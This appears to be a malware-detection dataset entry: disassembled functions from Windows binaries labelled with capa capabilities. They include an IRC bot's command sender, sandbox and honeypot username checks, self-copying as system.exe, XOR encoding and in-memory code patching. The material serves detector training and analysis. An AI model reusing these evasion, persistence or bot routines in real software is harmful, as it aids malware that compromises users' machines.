joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401732
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402b06
pop ecx
test eax, eax
jne 0x401755
or eax, 0xffffffff
jmp 0x40179d
push esi
push 2
pop esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401784
push 0xfffffffffffffffe
pop eax
jmp 0x40179c
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push 0xfffffffffffffffd
cmp eax, 0xffffffff
pop ecx
cmove esi, ecx
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ef5
leave
ret

Function at 0x401804
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x804
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x814]
push edi
test esi, esi
je 0x4018b4
mov ebp, 0x800
push ebp
xor edi, edi
lea eax, [esp + 0x14]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push esi
call fcn.004016d4
mov ebx, eax
add esp, 0x10
test ebx, ebx
jle 0x4018b0
cmp edi, 0x7ff
je 0x40188a
push 0
push 1
lea eax, [esp + 0x18]
add eax, edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4018ac
add edi, eax
mov al, byte [esp + edi + 0xf]
cmp al, 0xd
je 0x401886
cmp al, 0xa
je 0x401886
push esi
call fcn.004016d4
mov ebx, eax
pop ecx
test ebx, ebx
jg 0x40184d
test ebx, ebx
jle 0x4018b0
cmp edi, 2
jl 0x401830
dec edi
cmp edi, ebp
jae 0x4018cf
lea eax, [esp + 0x10]
mov byte [esp + edi + 0x10], 0
push eax
push esi
call fcn.00401940
pop ecx
pop ecx
test eax, eax
jns 0x401830
jmp 0x4018b6
xor eax, eax
jmp 0x4018b6
mov eax, ebx
jmp 0x4018b6
mov eax, esi
mov ecx, dword [esp + 0x810]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402ef5
add esp, 0x804
ret
call fcn.00403025
int3

Function at 0x4018d5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
cmp byte [eax], 0
je 0x4018f6
push esi
push eax
push esi
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x14]
push 2
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push esi
lea ecx, [ebp + 8]
push ecx
push 0x4024f9
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x40193d
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x401f7b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push edi
mov edi, dword [ebp + 0x14]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
jne 0x401fcd
push 0x3f
push str.PASS
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_r_n
jmp 0x4020d0
cmp eax, 1
jne 0x401fdb
push 0x3f
push str.NICK
jmp 0x401fb4
cmp eax, 2
jne 0x402001
push 0x3f
lea eax, [ebp - 0x44]
push str.USER
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_____lol__:_s_r_n
jmp 0x402095
cmp eax, 3
jne 0x40200f
push 0x3f
push str.PONG
jmp 0x401fb4
cmp eax, 4
jne 0x402032
push 0x3f
lea eax, [ebp - 0x44]
push str.JOIN
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push edi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s__s_r_n
jmp 0x402095
cmp eax, 5
jne 0x4020b0
cmp dword [0x40702c], 0
jne 0x4020ab
cmp dword [0x407028], 0
je 0x402079
mov ecx, 0x406128
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402070
test dl, dl
je 0x40206c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402070
add eax, 2
add ecx, 2
test dl, dl
jne 0x402050
xor eax, eax
jmp 0x402075
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020ab
push 0x3f
lea eax, [ebp - 0x44]
push str.PRIVMSG
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push edi
lea eax, [ebp - 0x44]
push eax
push str._s__s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x24
jmp 0x4020e4
xor eax, eax
inc eax
jmp 0x40211d
cmp eax, 6
jne 0x40211b
push 0x3f
lea eax, [ebp - 0x44]
push str.QUIT
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x20
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x244]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020fd
push 0
sub ecx, edx
lea eax, [ebp - 0x244]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40211d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00402ef5
leave
ret

Function at 0x40212b
Capabilities:
Initialize winsock library

Disassembly:
call fcn.0040217b
test eax, eax
jne 0x40213b
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
call fcn.00402b7d
call fcn.004015d7
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x40217b
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x190]
neg eax
sbb eax, eax
xor ecx, esp
inc eax
call fcn.00402ef5
add esp, 0x194
ret

Function at 0x4021b8
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x9c
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x24], str.sandbox
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x20], str.honey
push eax
mov dword [ebp - 0x1c], str.vmware
mov dword [ebp - 0x18], str.currentuser
mov dword [ebp - 0x14], str.nepenthes
mov dword [ebp - 0x10], 0x80
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
xor esi, esi
push dword [ebp + esi*4 - 0x24]
lea eax, [ebp - 0xc]
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x40222d
inc esi
cmp esi, 5
jb 0x402212
jmp 0x402230
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
pop esi
call fcn.00402ef5
add ebp, 0x78
leave
ret

Function at 0x402240
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.004021b8
test eax, eax
jne 0x40229f
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40229f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40229f
call fcn.004022a5
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x40428b]
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push eax
call fcn.0040212b
xor eax, eax
leave
ret 0x10
Function at 0x4022a5
Capabilities:
Copy file
Create thread
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov ebx, 0x104
lea eax, [ebp - 0x20c]
push ebx
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push 0xa
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
js 0x402353
push esi
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea eax, [ebp - 0x108]
push str.:_
push ebx
push eax
call esi
push str.system.exe
lea eax, [ebp - 0x108]
push ebx
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x108]
add esp, 0x18
push 0x80
push eax
call esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402352
push 3
lea eax, [ebp - 0x108]
push eax
call esi
pop esi
lea eax, [ebp - 0x210]
push eax
push edi
push edi
push 0x402377
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00402ef5
leave
ret
Function at 0x402b06
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402b2b
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402b24
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x402b94
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor ecx, ecx
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp + 0xc]
mov dword [ebp - 4], ecx
push dword [ebp + 8]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp + 0x10], 0
mov esi, eax
je 0x402bcb
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402bd3
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
pop esi
leave
ret
Function at 0x40386e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4038ad
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4038ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4038ad
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4038ad
cmp dword [ecx + 0x74], 0xe
jbe 0x4038ad
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10007450
Capabilities:
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000d060
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x10012040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x144], 0
lea ecx, [ebp - 0x128]
push dword [ebp - 0x144]
call fcn.10008220
add esp, 4
lea ecx, [ebp - 0x128]
mov dword [ebp - 4], 0
call fcn.100072e0
mov dword [ebp - 4], 0xffffffff
mov bl, al
mov ecx, dword [ebp - 0x114]
cmp ecx, 7
jbe 0x100074f5
mov edx, dword [ebp - 0x128]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100074eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100074eb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1000bd27
add esp, 8
test bl, bl
jne 0x100075d4
push 0x100
lea eax, [ebp - 0x110]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push str..config_dev.ini
lea eax, [ebp - 0x110]
push str.File__s_not_found._n_nCreate_file_with_default_values.
push eax
call fcn.10004a30
add esp, 0x18
lea eax, [ebp - 0x110]
push 0
push str.Client
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push str..config_dev.ini
push str.127.0.0.1
push str.IpAddress
push str.MainInfo
call esi
lea ecx, [ebp - 0x140]
call fcn.10007f20
mov ecx, eax
call fcn.10004360
push str..config_dev.ini
push eax
push str.IpAddressPort
push str.MainInfo
call esi
lea ecx, [ebp - 0x140]
call fcn.10004a50
push str..config_dev.ini
push str.1.07.17
push str.ClientVersion
push str.MainInfo
call esi
push str..config_dev.ini
push str.jw45af7xf4wxj198
push str.ClientSerial
push str.MainInfo
call esi
push str..config_dev.ini
push str.ScreenShotsScreen__02d__02d__02d__02d___04d.jpg
push str.ScreenShotPath
push str.MainInfo
call esi
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push str..config_dev.ini
push 0xad75
push str.IpAddressPort
push str.MainInfo
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push str..config_dev.ini
push 0xe
push 0x10013dec
push str.127.0.0.1
push str.IpAddress
push str.MainInfo
call esi
push str..config_dev.ini
push 8
push 0x10013de4
push str.1.07.17
push str.ClientVersion
push str.MainInfo
call esi
push str..config_dev.ini
push 0x11
push 0x10013d68
push str.jw45af7xf4wxj198
push str.ClientSerial
push str.MainInfo
call esi
push str..config_dev.ini
push 0x64
push 0x10013d80
push str.ScreenShotsScreen__02d__02d__02d__02d___04d.jpg
push str.ScreenShotPath
push str.MainInfo
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000b9ff
mov esp, ebp
pop ebp
ret
Function at 0x100092b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov bl, byte [edi]
cmp bl, 0xc1
je 0x100092ec
cmp bl, 0xc3
je 0x100092ec
cmp bl, 0xc2
je 0x100092dd
cmp bl, 0xc4
je 0x100092dd
xor esi, esi
call fcn.10009370
movzx eax, ax
xor ecx, ecx
jmp 0x10009324
mov esi, 3
call fcn.10009370
movzx eax, ax
jmp 0x10009305
call fcn.10009370
movzx eax, ax
mov esi, 2
mov ecx, eax
cmp bl, 0xc1
je 0x1000931f
cmp bl, 0xc3
je 0x1000931f
movzx ecx, ax
cmp bl, 0xc2
je 0x10009318
mov eax, ecx
cmp bl, 0xc4
je 0x10009318
xor ecx, ecx
jmp 0x10009324
mov ecx, 3
jmp 0x10009324
mov ecx, 2
lea edx, [ecx + edi]
mov ecx, 1
cmp cx, ax
jae 0x1000935a
sub esi, edx
lea ecx, [edx + 1]
dec eax
movzx edx, ax
nop word [eax + eax]
lea eax, [esi + ecx]
and eax, 0x1f
lea ecx, [ecx + 1]
mov al, byte [eax + 0x1000e76c]
xor al, byte [ecx - 2]
xor byte [ecx - 1], al
sub edx, 1
jne 0x10009340
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a7d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [0x10015e78]
test cl, cl
push ebx
push esi
mov byte [0x10012b09], cl
mov esi, dword [edx]
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
je 0x1000a8b9
cmp esi, edx
je 0x1000a86b
mov edi, dword [esi + 0x14]
test edi, edi
je 0x1000a825
mov bl, byte [esi + 0x18]
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push edi
call ecx
lea eax, [ebp - 4]
mov byte [edi], bl
push eax
push dword [ebp - 4]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 1
push edi
call eax
mov edx, dword [0x10015e78]
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x1000a84b
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x1000a847
cmp esi, dword [eax + 8]
jne 0x1000a847
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x1000a837
mov esi, eax
jmp 0x1000a861
mov esi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0xd], 0
jne 0x1000a861
mov eax, dword [ecx]
mov esi, ecx
mov ecx, eax
cmp byte [eax + 0xd], 0
je 0x1000a855
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, edx
jne 0x1000a7f7
xor edi, edi
mov esi, 0x678f47
xor eax, eax
mov bl, byte [eax + 0x1000e7e4]
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push esi
call ecx
lea eax, [ebp - 4]
mov byte [esi], bl
push eax
push dword [ebp - 4]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 1
push esi
call eax
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edi, [edi + 1]
lea eax, [edi*8]
mov esi, dword [eax + 0x1000e7e0]
test esi, esi
jne 0x1000a874
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, edx
je 0x1000a936
nop dword [eax]
mov edi, dword [esi + 0x14]
test edi, edi
je 0x1000a8ee
mov bl, byte [esi + 0x19]
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push edi
call ecx
lea eax, [ebp - 4]
mov byte [edi], bl
push eax
push dword [ebp - 4]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 1
push edi
call eax
mov edx, dword [0x10015e78]
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x1000a914
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x1000a910
cmp esi, dword [eax + 8]
jne 0x1000a910
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x1000a900
mov esi, eax
jmp 0x1000a92c
mov esi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0xd], 0
jne 0x1000a92c
nop
mov eax, dword [ecx]
mov esi, ecx
mov ecx, eax
cmp byte [eax + 0xd], 0
je 0x1000a920
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, edx
jne 0x1000a8c0
xor edi, edi
mov esi, 0x678f47
xor eax, eax
nop
mov bl, byte [eax + 0x1000e7e5]
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push esi
call ecx
lea eax, [ebp - 4]
mov byte [esi], bl
push eax
push dword [ebp - 4]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 1
push esi
call eax
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edi, [edi + 1]
lea eax, [edi*8]
mov esi, dword [eax + 0x1000e7e0]
test esi, esi
jne 0x1000a940
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b2f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x10012040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
mov edx, dword [ebp + 0xc]
movq qword [ecx + 4], xmm0
mov word [ecx + 0xc], 0
push ebx
lea ebx, [ecx + 4]
movq qword [ebp - 0x10], xmm0
mov byte [ebx + 0xa], 0
movups xmmword [ecx + 0xf], xmm0
push edi
lea edi, [ecx + 0xf]
mov word [ebp - 8], 0
mov dword [edi + 0x10], 0
lea ecx, [ebp - 0x28]
mov byte [edi + 0x14], 0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
movq xmm0, qword [eax]
mov ax, word [eax + 8]
mov word [ebp - 8], ax
mov eax, dword [edx + 0x10]
xor byte [ebp - 8], 0xab
xor byte [ebp - 7], 0xfc
mov dword [ebp - 0x18], eax
mov eax, 1
sub eax, ecx
movq qword [ebp - 0x10], xmm0
movups xmm0, xmmword [edx]
xor byte [ebp - 0x10], 0xfc
xor byte [ebp - 0xf], 0xcf
xor byte [ebp - 0xe], 0xab
xor byte [ebp - 0xd], 0xfc
xor byte [ebp - 0xc], 0xcf
xor byte [ebp - 0xb], 0xab
xor byte [ebp - 0xa], 0xfc
xor byte [ebp - 9], 0xcf
mov dword [ebp - 0x30], eax
mov eax, 2
sub eax, ecx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x34], eax
xor edi, edi
mov eax, 3
mov dword [ebp - 0x40], ebx
mov ebx, dword [ebp - 0x30]
sub eax, ecx
mov dword [ebp - 0x38], eax
mov eax, 4
sub eax, ecx
mov byte [ebp - 6], 0
mov byte [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x2c], 0xcffc
mov byte [ebp - 0x2a], 0xab
mov dword [ebp - 0x3c], eax
push esi
mov eax, 0xaaaaaaab
lea esi, [ebp - 0x28]
mul edi
add esi, edi
mov ecx, edi
shr edx, 1
lea eax, [edx + edx*2]
sub ecx, eax
movzx eax, byte [ebp + ecx - 0x2c]
lea ecx, [esi + ebx]
xor byte [esi], al
mov eax, 0xaaaaaaab
mul ecx
mov ecx, edi
shr edx, 1
lea eax, [edx + edx*2]
sub ecx, eax
movzx eax, byte [ebp + ecx - 0x2b]
xor byte [esi + 1], al
mov eax, 0xaaaaaaab
mov ecx, dword [ebp - 0x34]
lea ecx, [esi + ecx]
mul ecx
mov ecx, edi
shr edx, 1
lea eax, [edx + edx*2]
sub ecx, eax
movzx eax, byte [ebp + ecx - 0x2a]
xor byte [esi + 2], al
mov eax, 0xaaaaaaab
mov ecx, dword [ebp - 0x38]
lea ecx, [esi + ecx]
mul ecx
mov ecx, edi
shr edx, 1
lea eax, [edx + edx*2]
sub ecx, eax
movzx eax, byte [ebp + ecx - 0x29]
xor byte [esi + 3], al
mov eax, 0xaaaaaaab
mov ecx, dword [ebp - 0x3c]
lea ecx, [esi + ecx]
mul ecx
mov ecx, edi
add edi, 5
shr edx, 1
lea eax, [edx + edx*2]
sub ecx, eax
movzx eax, byte [ebp + ecx - 0x28]
xor byte [esi + 4], al
cmp edi, 0x14
jl 0x1000b3d4
mov ebx, dword [ebp - 0x40]
lea ecx, [ebp - 0x10]
mov edi, dword [ebp - 0x44]
mov eax, ecx
pop esi
sub ebx, eax
nop
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ebx + ecx - 1], al
test al, al
jne 0x1000b480
lea eax, [ebp - 0x28]
mov ecx, eax
sub edi, ecx
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edi + eax - 1], cl
test cl, cl
jne 0x1000b494
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1000b9ff
mov esp, ebp
pop ebp
ret 8
Function at 0x1000b4d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp + 8]
cmp al, 0xff
je 0x1000b4f0
mov byte [esi], al
mov eax, dword [ebp + 0x10]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000b56a
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x1000b591
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x1000b594
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.1000b546
pop esi
leave
ret 8